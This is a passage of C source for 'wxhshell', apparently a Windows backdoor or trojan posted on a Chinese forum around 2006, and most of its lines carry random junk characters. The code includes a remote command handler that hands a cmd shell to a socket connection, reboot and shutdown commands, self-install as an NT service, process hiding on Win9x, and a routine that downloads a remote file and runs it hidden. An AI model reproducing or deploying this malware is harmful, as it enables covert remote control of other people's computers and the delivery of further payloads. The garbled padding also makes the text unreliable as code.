  send(wsh,msg_ws_err,strlen(msg_ws_err),0); kM,$0 @  
  else naT;K0T=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); . !|3a  
  } Ux Yb[Nbc  
  else { do:3aP'S,  
!?7c2QRN  
    switch(cmd[0]) { _bO4s#yI  
  IW.~I,!x  
  // 帮助 =A,6KY=E  
  case '?': { ]`2=<n;=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 62 biOea  
    break; u-a*fT  
  } n^Qt !~  
  // 安装 :/kz*X=<  
  case 'i': { c?NXX&  
    if(Install()) zl W 5$cC[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -nQ:RHnd  
    else ~fE6g3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9cu0$P`}5  
    break; *@|EaH/  
    } :Sx!jx>W  
  // 卸载 )PU?`yLTr  
  case 'r': { av&4:O!  
    if(Uninstall()) K 0i[D"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D4x~Vk%H  
    else wh\J)pA1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $~V,.RD  
    break; 'ju{j`b  
    } Rmrv@.dr!  
  // 显示 wxhshell 所在路径 >!vb;a!  
  case 'p': { B!=JRf T  
    char svExeFile[MAX_PATH]; y/ #{pyJ  
    strcpy(svExeFile,"\n\r"); *jps}uk<  
      strcat(svExeFile,ExeFile); Vn`-w  
        send(wsh,svExeFile,strlen(svExeFile),0); etEm#3  
    break; {:VUu?5-t;  
    } szY=N7\S*  
  // 重启 k{op,n#  
  case 'b': { j#TtY|Po  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +K3SAGm  
    if(Boot(REBOOT)) /=zzym~<>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3@r_t|j  
    else { ]8|cV GMa  
    closesocket(wsh); EPQ~V  
    ExitThread(0); l;I)$=={=  
    } 6O^'J~wiI  
    break; 8\BCC1K  
    } `3Gjj&c  
  // 关机 ,1"w2,=  
  case 'd': { '[ZRWwhr  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); cC.=,n  
    if(Boot(SHUTDOWN)) LCrE1Q%VP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F j_r n  
    else { H1(Zz n1  
    closesocket(wsh); XCNfogl  
    ExitThread(0); A Z7  
    } S+Aq0B<  
    break; 5YlY=J  
    } Dl kHE8r\  
  // 获取shell m]yt6b4  
  case 's': { Y~qv 0O6K  
    CmdShell(wsh); KKR@u(+"a  
    closesocket(wsh); km; M!}D  
    ExitThread(0); ?NZKu6  
    break; k\T,CZ<  
  } }*{@-v|_R  
  // 退出 "#4p#dM0e  
  case 'x': { D{&0r.2F  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8#OcrJzC  
    CloseIt(wsh); ~:Jw2 P2z  
    break; Jl^Rz;bQ-  
    } @_tQ:U,v  
  // 离开 cSYW)c|t  
  case 'q': { sE4= 2p`x  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [TAW68f'  
    closesocket(wsh); ,O@x v  
    WSACleanup(); AnV\{A^  
    exit(1); h 7feZ_  
    break; Z&hzsJK{m$  
        } V0Cz!YM_3  
  } b_&;i4[  
  } 3Zm'09A-.  
qRg^Bp'VD#  
  // 提示信息 <_HK@E<_HO  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gO*:< B g  
} v$R+5_@[l  
  } FhZ^/= As  
as1ZLfN.  
  return; (nk)'ur.  
} D-7PO3F:F  
oT7=  
// shell模块句柄 SbNs#  
int CmdShell(SOCKET sock) 6&o9mc\I  
{ "HRoS#|\  
STARTUPINFO si; uqy b  
ZeroMemory(&si,sizeof(si)); M{U{iS  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J`U\3:b`SP  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;$|[z<1RdW  
PROCESS_INFORMATION ProcessInfo; 3PB#m.N<  
char cmdline[]="cmd"; P@ewr}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @add'>)  
  return 0; C WJGr:}&  
} {Mc^[}9  
:` >|N|i  
// 自身启动模式 ~$1Zw&X  
int StartFromService(void) 6#S}EaWf  
{ `T H0*:aI  
typedef struct LRO'o{4$E  
{ Y6T1_XG  
  DWORD ExitStatus; fk%yi[  
  DWORD PebBaseAddress; mX78Av.z!  
  DWORD AffinityMask; N=J$+  
  DWORD BasePriority; xjHOrr OQ  
  ULONG UniqueProcessId; ~7$E\w6  
  ULONG InheritedFromUniqueProcessId; 5!2^|y4r  
}   PROCESS_BASIC_INFORMATION; *Mf;  
oVPtA@  
PROCNTQSIP NtQueryInformationProcess; <eU28M?\  
FNpMu3Q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; GE`:bC3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,f`435R  
k r0PL)$  
  HANDLE             hProcess; #hEN4c[Ex  
  PROCESS_BASIC_INFORMATION pbi; +.N3kH  
0MK|spc  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); G1 ?."  
  if(NULL == hInst ) return 0; +8e~jf3E1  
h+e Oe}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); si.A"\bm  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); i)nb^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4q"x|}a  
^h+,Kn0@  
  if (!NtQueryInformationProcess) return 0; Yqs N#E3pf  
?{s!.U[T@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); x OCHP|?  
  if(!hProcess) return 0; OhmKjY/}  
'p=5hsG  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "mbcZ5 _  
x{Y}1+Y4  
  CloseHandle(hProcess); shbPy   
Vv=/{31  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); AV0m31b  
if(hProcess==NULL) return 0; nQuiRTU<  
b#U nE  
HMODULE hMod; 0be1aY;m&  
char procName[255]; 8spoDb.S  
unsigned long cbNeeded; pkjf5DWp  
I@VhxJh  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); iB[>uW  
}m Rus<Ax  
  CloseHandle(hProcess); > Y <in/  
`ReTfz;o  
if(strstr(procName,"services")) return 1; // 以服务启动 QJc3@  
TJ@@k SSbl  
  return 0; // 注册表启动 3F'{JP  
} H`/Q hE  
=5NrkCk#V  
// 主模块 5'f4=J$Z)  
int StartWxhshell(LPSTR lpCmdLine) Z$R6'EUb1  
{ 9-;ujl?{  
  SOCKET wsl; R<VNbm;  
BOOL val=TRUE; -.A%c(|Q  
  int port=0; .Ap-<FB  
  struct sockaddr_in door; 5~T`R~Uqb  
BKDs3?&  
  if(wscfg.ws_autoins) Install(); {9sA'5  
\|20E51B[  
port=atoi(lpCmdLine); I`"8}d@Jm  
J+f .r|?  
if(port<=0) port=wscfg.ws_port; rj qX|  
Ju3-ZFUS4  
  WSADATA data; "0o1M\6Z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; fj X~"U  
>jEn>H?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Xz)UH<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ugexkdgM  
  door.sin_family = AF_INET; Xg:w;#r,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *<k8H5z8]  
  door.sin_port = htons(port); ;K<e]RI;?  
F&US-ce:M  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { fUQuEh5_  
closesocket(wsl); q[4{Xh  
return 1; \F]X!#&+  
} )(~s-x^\z@  
o JC-?  
  if(listen(wsl,2) == INVALID_SOCKET) { OgJd^  
closesocket(wsl); su]CaHU  
return 1; lqFDX d  
} ;cQhs7m(9  
  Wxhshell(wsl); NpV# zzE  
  WSACleanup(); (Fq|hgOA>M  
s(*L V2fa  
return 0; :5!>h8p;  
Jlw<% }r  
} 9{{QdN8  
+jzwi3B`  
// 以NT服务方式启动 fl| 8#\r  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $0WO 4C%M  
{ dz fR ^Gv  
DWORD   status = 0; TWF6YAQ m  
  DWORD   specificError = 0xfffffff; RAMkTS  
x)eYqH~i  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @y%4BU&>0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; K_/8MLJQ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $qkV u  
  serviceStatus.dwWin32ExitCode     = 0; s%h|>l[lKT  
  serviceStatus.dwServiceSpecificExitCode = 0; 0r?975@A  
  serviceStatus.dwCheckPoint       = 0; P7GuFn/p~2  
  serviceStatus.dwWaitHint       = 0; zbHNj(~  
q) %F#g  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "Y(stRa  
  if (hServiceStatusHandle==0) return; yl|?+  
MhMY"bx8  
status = GetLastError(); )cA#2mlS'1  
  if (status!=NO_ERROR) Jy&O4g/'5  
{ |J: n'}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; z-<091,  
    serviceStatus.dwCheckPoint       = 0; f,:SI&c\  
    serviceStatus.dwWaitHint       = 0; D<}z7W-  
    serviceStatus.dwWin32ExitCode     = status; >hqev-   
    serviceStatus.dwServiceSpecificExitCode = specificError; hE>ux"_2/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); y<7C!E#b8  
    return; Ay7I_" %  
  } }*.S=M]y$  
e?W-vi%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; '<N^u@tF7  
  serviceStatus.dwCheckPoint       = 0; 4W7  
  serviceStatus.dwWaitHint       = 0; )eFXjnHN  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #clOpyT*  
} Jt79M(Hp!  
; MU8@?yN  
// 处理NT服务事件,比如:启动、停止 C[f'1O7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) DG& ({vy  
{ (XtN3FTY  
switch(fdwControl) eQh@.U*S)  
{ ]IbX<  
case SERVICE_CONTROL_STOP: v~|~&Dwq  
  serviceStatus.dwWin32ExitCode = 0; |l\&4/SJ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -# 0(Jm'  
  serviceStatus.dwCheckPoint   = 0; @c&}\#;  
  serviceStatus.dwWaitHint     = 0; E6"+\-e  
  { H&K(,4u^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i}cqV B?r  
  }  k I {)"  
  return; l,cnM r^.W  
case SERVICE_CONTROL_PAUSE: ^0A}iJL  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9Q{-4yF9k  
  break; gO>XNXN{  
case SERVICE_CONTROL_CONTINUE: sywSvnPuYZ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Hc?8Q\O:  
  break; RbPD3& .  
case SERVICE_CONTROL_INTERROGATE: Q]j [+e  
  break; !cP2,l 'f  
}; ^)$(Fe<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V<X[>C'  
} l-;u*JA  
eqvbDva^  
// 标准应用程序主函数 8 MIn~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) T: zO9C/  
{ WXJEAje  
Lhg4fuos@)  
// 获取操作系统版本 &PY~m<F  
OsIsNt=GetOsVer(); 0$RZ~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }xZR`xP(  
+NML>g#F~z  
  // 从命令行安装 ra87~kj<  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3khsGD@  
l&rS\TCkp  
  // 下载执行文件 ITcgp K6k  
if(wscfg.ws_downexe) { MBy0Ky  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) k'O^HMAn!  
  WinExec(wscfg.ws_filenam,SW_HIDE); *nb `DR  
} <2b&AF{En  
r6 k/QZT  
if(!OsIsNt) { O &DkB*-  
// 如果时win9x,隐藏进程并且设置为注册表启动 iBCZx>![;  
HideProc(); 6T-h("t  
StartWxhshell(lpCmdLine); ]=X6* E*/E  
} s98Jh(~  
else ;#'YO1`gf3  
  if(StartFromService()) L`sg60z  
  // 以服务方式启动 MW^(  
  StartServiceCtrlDispatcher(DispatchTable); zKRt\;PW  
else r~mZ?dI  
  // 普通方式启动 t:MeSO  
  StartWxhshell(lpCmdLine); @bPR"j5D  
/j7e q  
return 0; &j}08aK%  
}
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只看该作者 1 发表于: 2006-10-10
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